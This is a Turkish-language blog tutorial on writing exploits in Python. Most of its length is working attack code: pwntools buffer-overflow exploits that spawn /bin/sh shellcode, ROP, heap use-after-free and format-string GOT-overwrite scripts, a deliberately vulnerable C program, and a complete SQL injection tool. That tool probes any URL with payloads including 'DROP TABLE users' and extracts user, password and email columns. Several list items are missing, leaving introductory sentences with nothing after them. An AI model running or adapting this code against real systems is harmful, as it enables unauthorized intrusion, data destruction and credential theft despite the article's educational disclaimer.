Exploit, bilgisayar sistemlerindeki, uygulamalardaki veya ağ altyapısındaki güvenlik açıklarından faydalanmak için tasarlanmış kod parçalarıdır. Temel amacı, sistemlerdeki zafiyetleri kullanarak normalde izin verilmeyen işlemleri gerçekleştirmektir.
Exploit'ler genellikle şu amaçlarla kullanılır:
Siber güvenlik profesyonelleri açısından exploit'ler, sistemlerin güvenliğini test etmek ve güçlendirmek için vazgeçilmez araçlardır. Penetrasyon testleri ve güvenlik değerlendirmeleri sırasında, sistemlerdeki potansiyel zafiyetleri belirlemek ve bunları düzeltmek için exploit'ler kullanılır.
Exploit geliştirme, siber güvenlik dünyasının teknik olarak zorlayıcı ancak etik açıdan da hassas bir alanıdır. Bu alanda çalışırken dikkat edilmesi gereken etik ve yasal hususlar şunlardır:
Türkiye'de, bu tür faaliyetler 5237 sayılı Türk Ceza Kanunu'nun 243-245. maddeleri ve diğer ilgili mevzuat kapsamında değerlendirilmektedir.
Exploit geliştirme sürecine başlamadan önce, farklı zafiyet türlerini anlamak önemlidir. İşte en yaygın zafiyet türleri:
Python, exploit geliştirme alanında en popüler dillerden biridir. Bunun birçok nedeni vardır:
Python, özellikle exploit kavram kanıtlaması (proof-of-concept) aşamasında ve hızlı tepki gerektiren durumlarda mükemmel bir seçimdir.
Python ile exploit geliştirirken kullanabileceğiniz temel araçlar:
pip install pwntools
ile kurulur, exploit geliştirme sürecini kolaylaştırırpip install requests
ile kurulur, web temelli exploitler içinpip install scapy
ile kurulur, ağ paketleri içinEtkili bir exploit geliştirme süreci için sistematik bir yaklaşım:
Hedef Belirleme ve Bilgi Toplama
Zafiyet Keşfi
Konsept Doğrulama
Exploit Geliştirme
Optimizasyon ve Güvenilirlik
Belgelendirme
Şimdi basit bir buffer overflow zafiyetini hedef alan bir exploit geliştirme adımlarını inceleyelim. Bu örnek tamamen eğitim amaçlıdır ve kontrollü bir ortamda gerçekleştirilmelidir.
#include <stdio.h> #include <string.h> void vulnerable_function(char *input) { char buffer[64]; // 64 baytlık bir tampon strcpy(buffer, input); // Güvensiz kopylama işlemi, boyut kontrolü yok printf("Girilen değer: %s\n", buffer); } int main(int argc, char *argv[]) { if (argc != 2) { printf("Kullanım: %s <girdi>\n", argv[0]); return 1; } vulnerable_function(argv[1]); return 0; }
Buffer overflow zafiyeti, strcpy()
fonksiyonunun herhangi bir boyut kontrolü yapmadan veriyi kopyalamasından kaynaklanır. 64 bayttan büyük bir girdi, tampon sınırlarını aşacak ve yığın (stack) üzerindeki diğer verileri bozacaktır.
İlk olarak, programın çöktüğü noktayı belirlemeliyiz. Python ile basit bir script yazalım:
#!/usr/bin/env python3 import subprocess import sys # Uzunluğu arttırarak test et for i in range(50, 200, 10): payload = "A" * i print(f"Test edilen boyut: {i}") try: subprocess.run(["./vulnserver", payload], check=True) print("Program normal şekilde sonlandı") except subprocess.CalledProcessError: print(f"Program çöktü! Kritik boyut: {i}") break
Crash noktasını belirledikten sonra, dönüş adresini (EIP/RIP) kontrol edip edemeyeceğimizi test edelim. Bunun için daha gelişmiş bir Python script'i yazabiliriz:
#!/usr/bin/env python3 from pwn import * # Test ortamımızı kur context.arch = 'i386' # x86 mimarisi context.log_level = 'debug' # Buffer boyutunu belirleme buffer_size = 76 # Önceki testte belirlenen # Benzersiz bir pattern oluştur pattern = cyclic(150) # Programı çalıştır p = process(['./vulnserver', pattern]) p.wait() # Crash anındaki core dump dosyasını analiz et core = Coredump('./core') eip_offset = cyclic_find(core.eip) # EIP register değerini bul print(f"EIP register'ı şu konumda: {eip_offset}")
Artık dönüş adresini kontrol edebildiğimizi biliyoruz. Şimdi basit bir shellcode (kabuk kodu) ekleyerek gerçek bir exploit geliştirelim:
#!/usr/bin/env python3 from pwn import * # Ortam ayarları context.arch = 'i386' context.os = 'linux' context.log_level = 'info' # Bağlantı kurma (bu örnekte yerel bir program) p = process('./vulnserver') # Buffer overflow detayları offset = 76 # EIP'ye kadar olan mesafe ret_addr = 0xffffd5c0 # Stack adresimiz (Gerçek ortamda farklı olacaktır) # NOP sled - Shellcode'u bulmayı kolaylaştırır nop_sled = b"\x90" * 32 # Linux/x86 için basit bir shellcode - /bin/sh çalıştırır shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # Exploit dizilimini oluştur payload = b"A" * offset # Buffer'ı doldur payload += p32(ret_addr) # Return adresini değiştir payload += nop_sled # NOP sled ekle payload += shellcode # Shellcode ekle # Exploit'i gönder p.sendline(payload) # İnteraktif shell'e geç p.interactive()
Exploit'imizi test ederek çalışıp çalışmadığını kontrol edelim. Gerekirse aşağıdaki iyileştirmeleri yapabiliriz:
Modern web uygulamalarında en yaygın zafiyet türlerinden biri SQL Injection'dır. Aşağıda, basit bir SQL Injection zafiyetini keşfeden ve kullanan Python kodu yer almaktadır:
#!/usr/bin/env python3 import requests from bs4 import BeautifulSoup import sys import urllib.parse import time def find_sql_injection(url): """Verilen URL'de SQL injection zafiyet testi yapar""" payloads = ["'", "\"", "1 OR 1=1", "' OR '1'='1", "admin' --", "1'; DROP TABLE users; --"] vulnerable = False print(f"[*] Hedef URL test ediliyor: {url}") normal_response = requests.get(url) normal_length = len(normal_response.text) for payload in payloads: # URL-encode payload encoded_payload = urllib.parse.quote(payload) test_url = f"{url}?id={encoded_payload}" try: print(f"[*] Test ediliyor: {test_url}") response = requests.get(test_url, timeout=10) # Yanıt analizi if response.status_code != normal_response.status_code: print(f"[+] Farklı durum kodu alındı: {response.status_code}") vulnerable = True elif abs(len(response.text) - normal_length) > 100: print(f"[+] Yanıt boyutu önemli ölçüde farklı: {len(response.text)}") vulnerable = True elif "database error" in response.text.lower() or "sql syntax" in response.text.lower(): print("[+] SQL hata mesajı tespit edildi!") vulnerable = True time.sleep(1) # Hedef sunucuya fazla yük bindirmemek için except Exception as e: print(f"[!] Hata oluştu: {e}") return vulnerable def exploit_sql_injection(url): """Basit bir SQL injection exploit'i""" # Veritabanı tipini tespit et db_type = detect_db_type(url) if db_type == "mysql": # MySQL için sütun sayısını belirle columns = detect_columns(url) print(f"[*] Tespit edilen sütun sayısı: {columns}") # Veritabanı adını çek db_name = extract_db_name(url, columns, db_type) print(f"[*] Veritabanı adı: {db_name}") # Tablo listesini çek tables = extract_tables(url, columns, db_name, db_type) print(f"[*] Tablolar: {tables}") # Kullanıcı tablosundan veri çek if "users" in tables or "admin" in tables: target_table = "users" if "users" in tables else "admin" extract_users(url, columns, db_name, target_table, db_type) else: print(f"[!] {db_type} veritabanı için exploit kodu mevcut değil.") def detect_db_type(url): """Veritabanı tipini tespit etme fonksiyonu""" print("[*] Veritabanı tipi tespit ediliyor...") tests = { "mysql": "' UNION SELECT @@version,2-- -", "mssql": "' UNION SELECT @@version,2-- -", "oracle": "' UNION SELECT banner,2 FROM v$version-- -", "postgresql": "' UNION SELECT version(),2-- -" } for db, payload in tests.items(): test_url = f"{url}?id={urllib.parse.quote(payload)}" response = requests.get(test_url) if "error" not in response.text.lower(): return db return "mysql" # Varsayılan olarak MySQL kabul et def detect_columns(url): """UNION SELECT sorgusunda kullanılabilecek sütun sayısını tespit et""" for i in range(1, 20): columns = ",".join(str(j) for j in range(1, i+1)) payload = f"' UNION SELECT {columns}-- -" test_url = f"{url}?id={urllib.parse.quote(payload)}" response = requests.get(test_url) if "error" not in response.text.lower(): return i return 1 # Varsayılan değer def extract_db_name(url, columns, db_type): """Veritabanı adını çeken fonksiyon""" if db_type == "mysql": column_list = ",".join("2" for _ in range(columns)) column_list = column_list.replace("2", "database()", 1) payload = f"' UNION SELECT {column_list}-- -" test_url = f"{url}?id={urllib.parse.quote(payload)}" response = requests.get(test_url) soup = BeautifulSoup(response.text, 'html.parser') # Bu kısım hedef web sitesinin yapısına göre değişebilir # Örnek olarak ilk tablo hücresini alıyoruz possible_db_name = soup.find('td') if possible_db_name: return possible_db_name.text return "unknown" def extract_tables(url, columns, db_name, db_type): """Veritabanındaki tabloları listeleyen fonksiyon""" tables = [] if db_type == "mysql": column_list = ",".join("2" for _ in range(columns)) column_list = column_list.replace("2", "table_name", 1) payload = f"' UNION SELECT {column_list} FROM information_schema.tables WHERE table_schema='{db_name}'-- -" test_url = f"{url}?id={urllib.parse.quote(payload)}" response = requests.get(test_url) soup = BeautifulSoup(response.text, 'html.parser') # Tablo adlarını topla for td in soup.find_all('td'): if td.text not in ["2", "2"]: # Diğer sütunlardan gelen değerleri filtrele tables.append(td.text) return tables def extract_users(url, columns, db_name, table_name, db_type): """Kullanıcı bilgilerini çeken fonksiyon""" if db_type == "mysql": # Önce sütun adlarını bul column_list = ",".join("2" for _ in range(columns)) column_list = column_list.replace("2", "column_name", 1) payload = f"' UNION SELECT {column_list} FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{table_name}'-- -" test_url = f"{url}?id={urllib.parse.quote(payload)}" response = requests.get(test_url) soup = BeautifulSoup(response.text, 'html.parser') # Sütun adlarını topla table_columns = [] for td in soup.find_all('td'): if td.text not in ["2", "2"] and td.text not in table_columns: table_columns.append(td.text) print(f"[*] '{table_name}' tablosundaki sütunlar: {table_columns}") # Kullanıcı verilerini çek interesting_columns = [col for col in table_columns if any(field in col.lower() for field in ["user", "name", "login", "pass", "admin", "email"])] if interesting_columns: column_list = ",".join("2" for _ in range(columns)) column_list = column_list.replace("2", ",".join(interesting_columns), 1) payload = f"' UNION SELECT {column_list} FROM {table_name}-- -" test_url = f"{url}?id={urllib.parse.quote(payload)}" response = requests.get(test_url) soup = BeautifulSoup(response.text, 'html.parser') print(f"[+] '{table_name}' tablosundan çekilen veriler:") for td in soup.find_all('td'): if td.text not in ["2", "2"]: print(f" {td.text}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Kullanım: {sys.argv[0]} <hedef_url>") sys.exit(1) target_url = sys.argv[1] if find_sql_injection(target_url): print("[+] SQL Injection zafiyeti bulundu!") exploit = input("[?] Exploit denemesi yapılsın mı? (e/h): ") if exploit.lower() == 'e': exploit_sql_injection(target_url) else: print("[*] Program sonlandırıldı.") else: print("[-] SQL Injection zafiyeti bulunamadı.")
Exploit geliştirirken, güvenli ve kontrollü bir ortamda çalışmak kritik öneme sahiptir. Aşağıda, ideal bir test ortamı kurma rehberi bulunmaktadır:
Daha gelişmiş exploit geliştirme teknikleri:
Modern sistemlerde DEP (Data Execution Prevention) gibi korumalar, stack üzerinde kod çalıştırmayı engeller. ROP, bu korumayı aşmak için önceden var olan kod parçalarını kullanır.
#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' context.log_level = 'debug' # Bağlantı kur p = process('./vulnerable_program') # ROP zinciri oluştur rop = ROP('./vulnerable_program') # /bin/sh çalıştırmak için ROP zinciri rop.call('system', [next(rop.search(b'/bin/sh\x00'))]) # Payload oluştur payload = b'A' * 120 # Buffer offset payload += rop.chain() # Exploit'i gönder p.sendline(payload) p.interactive()
Heap (dinamik bellek) üzerindeki zafiyetler daha karmaşıktır ve özel teknikler gerektirir:
#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' context.log_level = 'debug' p = process('./heap_vulnerable') # İlk chunk oluştur p.sendlineafter(b'> ', b'1') # Chunk oluşturma komutu p.sendlineafter(b'Size: ', b'64') p.sendlineafter(b'Data: ', b'AAAA') # İçerik # İkinci chunk oluştur p.sendlineafter(b'> ', b'1') p.sendlineafter(b'Size: ', b'64') p.sendlineafter(b'Data: ', b'BBBB') # İlk chunk'ı serbest bırak p.sendlineafter(b'> ', b'2') # Free komutu p.sendlineafter(b'Index: ', b'0') # Use-after-free zafiyeti kullan p.sendlineafter(b'> ', b'3') # Edit komutu p.sendlineafter(b'Index: ', b'0') p.sendlineafter(b'Data: ', p64(0x4141414141414141)) # Free edilmiş chunk'a yaz p.interactive()
Format string zafiyetleri, printf gibi fonksiyonların yanlış kullanımından kaynaklanır:
#!/usr/bin/env python3 from pwn import * context.log_level = 'debug' p = process('./format_string_vuln') # GOT adresi (printf'in GOT girdisi) printf_got = 0x804a010 # system() fonksiyonunun adresi (gerçek değer farklı olacaktır) system_addr = 0xf7e4c060 # Format string exploiti payload = p32(printf_got) # Değiştirilecek adres payload += b"%34218c" # Adres değerini ayarla payload += b"%10$n" # 10. parametre olarak yazma işlemi gerçekleştir p.sendline(payload) # /bin/sh komutunu gönder (artık printf yerine system çağrılacak) p.sendline(b"/bin/sh") # İnteraktif shell'e geç p.interactive()
Exploit geliştirme, sürekli olarak gelişen ve değişen bir alandır. Güvenlik araştırmacıları olarak, kendimizi sürekli güncel tutmak ve yeni teknikler öğrenmek zorundayız.
Bu yazıda ele alınan teknikler, yalnızca yasal sınırlar içerisinde, izin verilmiş sistemlerde ve güvenlik araştırması amacıyla kullanılmalıdır. Bu bilgiyi kötüye kullanmak, yasal sonuçlarla karşılaşmanıza neden olabilir.
Siber güvenlik topluluğunun değerli bir üyesi olarak, keşfettiğiniz zafiyetleri sorumlu bir şekilde raporlamayı ve bilginizi sistemleri güvence altına almak için kullanmayı unutmayın.
Python, exploit geliştirme sürecinde vazgeçilmez bir araç olarak karşımıza çıkmaktadır. Kolay okunabilir sözdizimi, zengin kütüphane ekosistemi ve hızlı geliştirme imkanı sunan Python, güvenlik araştırmacılarının en önemli silahlarından biridir.
Bu yazıda temel exploit kavramlarından başlayıp, pratik örneklerle ilerledik ve ileri seviye tekniklerle yazımızı tamamladık. Unutmayın ki, gerçek uzmanlık sürekli pratik ve öğrenme ile gelir.
Bir sonraki blog yazımızda, daha ileri seviye exploit teknikleri ve güvenlik önlemlerini aşma yöntemlerini inceleyeceğiz. Sorularınız veya önerileriniz için yorum bölümünü kullanabilirsiniz.
Güvenli sistemler geliştirmek ve daha güvenli bir dijital dünya için çalışmaya devam edeceğiz.
Not: Bu yazı tamamen eğitim amaçlıdır ve paylaşılan tüm bilgiler etik ve yasal çerçevede kullanılmalıdır.
Güvenliği test etmek için, bir saldırganın bakış açısıyla düşünmek zorundasınız.
Bruce SchneierCopyright © 2024 Betay Bilişim
Yorum Yap
E-posta adresiniz yorumunuzda yayınlanmayacaktır.